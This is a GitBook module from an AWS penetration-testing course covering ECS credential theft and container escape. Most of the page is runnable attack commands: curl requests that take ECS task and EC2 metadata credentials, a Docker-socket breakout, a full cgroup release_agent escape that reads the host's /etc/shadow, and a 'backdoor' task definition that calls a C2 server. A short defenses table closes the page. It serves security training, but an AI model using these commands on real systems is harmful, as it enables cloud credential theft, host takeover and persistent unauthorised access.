> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/aws-pentesting/modules/08-ecs.md).

# Module 08 — ECS & Container Escape

## 🎯 What You'll Learn

* How ECS task credentials work and how to steal them
* How to escape container environments to reach the host
* How to abuse ECS task IAM roles
* How Fargate vs EC2 launch types differ for attackers

***

## 📖 Theory

ECS (Elastic Container Service) runs Docker containers on AWS. Each task can have an **IAM task role** — credentials are injected via a local endpoint similar to EC2 metadata.

**ECS on EC2**: Containers run on EC2 instances. If you escape the container, you reach the underlying host and can steal the EC2 instance profile credentials.

**ECS on Fargate**: Serverless containers. No underlying EC2 host to escape to, but the task role credentials are still accessible from inside the container.

***

## 🔍 Phase 1 — Enumerate ECS from Outside

```bash
# List all ECS clusters
aws ecs list-clusters --profile pentest

# List services in a cluster
aws ecs list-services \
  --cluster prod-cluster \
  --profile pentest

# List running tasks
aws ecs list-tasks \
  --cluster prod-cluster \
  --profile pentest

# Get task details (includes task role ARN)
aws ecs describe-tasks \
  --cluster prod-cluster \
  --tasks TASK-ARN \
  --profile pentest

# Get task definition (includes env vars and role)
aws ecs describe-task-definition \
  --task-definition app-task:1 \
  --profile pentest

# Check for env vars with secrets
aws ecs describe-task-definition \
  --task-definition app-task \
  --query 'taskDefinition.containerDefinitions[*].environment' \
  --profile pentest
```

***

## 💥 Phase 2 — Steal ECS Task Credentials (From Inside Container)

If you have code execution inside an ECS container:

```bash
# The credentials endpoint is set in an environment variable
echo $AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
# Example: /v2/credentials/a1b2c3d4-...

# Get task credentials
curl "http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}"

# Returns:
# {
#   "AccessKeyId": "ASIA...",
#   "SecretAccessKey": "xxxx...",
#   "Token": "IQoJ...",
#   "RoleArn": "arn:aws:iam::123456789012:role/ecsTaskRole",
#   "Expiration": "..."
# }
```

***

## 💥 Phase 3 — Container Escape (ECS on EC2)

### Check for privileged mode

```bash
# Inside the container, check if you're privileged
cat /proc/1/status | grep CapEff
# If all 1s → you're likely running privileged

# Check for docker socket
ls -la /var/run/docker.sock  # if present → you can control Docker on host

# If Docker socket is accessible
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you have host root filesystem!
```

### Mount the host filesystem

```bash
# Check if host filesystem is mounted
mount | grep "/ type"
ls /proc/1/root  # access host's root from container

# Access EC2 metadata from container (EC2 launch type)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# → Gives EC2 instance role creds (often more powerful than task role)
```

### Escape via cgroups (if privileged)

```bash
# Privileged container escape via cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output  # shadow file from host
```

***

## 🔍 Phase 4 — ECS Persistence

```bash
# Register a backdoor task definition
aws ecs register-task-definition \
  --family backdoor \
  --task-role-arn arn:aws:iam::123456789012:role/AdminRole \
  --network-mode awsvpc \
  --container-definitions '[{
    "name": "backdoor",
    "image": "alpine",
    "command": ["sh", "-c", "curl https://your-c2-server/"],
    "essential": true
  }]' \
  --profile pentest

# Run the backdoor task
aws ecs run-task \
  --cluster prod-cluster \
  --task-definition backdoor \
  --profile pentest
```

***

## 🛡️ Defenses

| Attack                      | Defense                                               |
| --------------------------- | ----------------------------------------------------- |
| Steal task credentials      | Least-privilege task roles; short expiry              |
| Docker socket mount         | Never mount /var/run/docker.sock in containers        |
| Privileged containers       | Disable privileged mode; use seccomp/AppArmor         |
| EC2 metadata from container | Block 169.254.169.254 at network level for containers |

***

## 📎 References

* [HackTricks ECS](https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-ecs-ecr-attack)
* [Container Escape Techniques](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation)
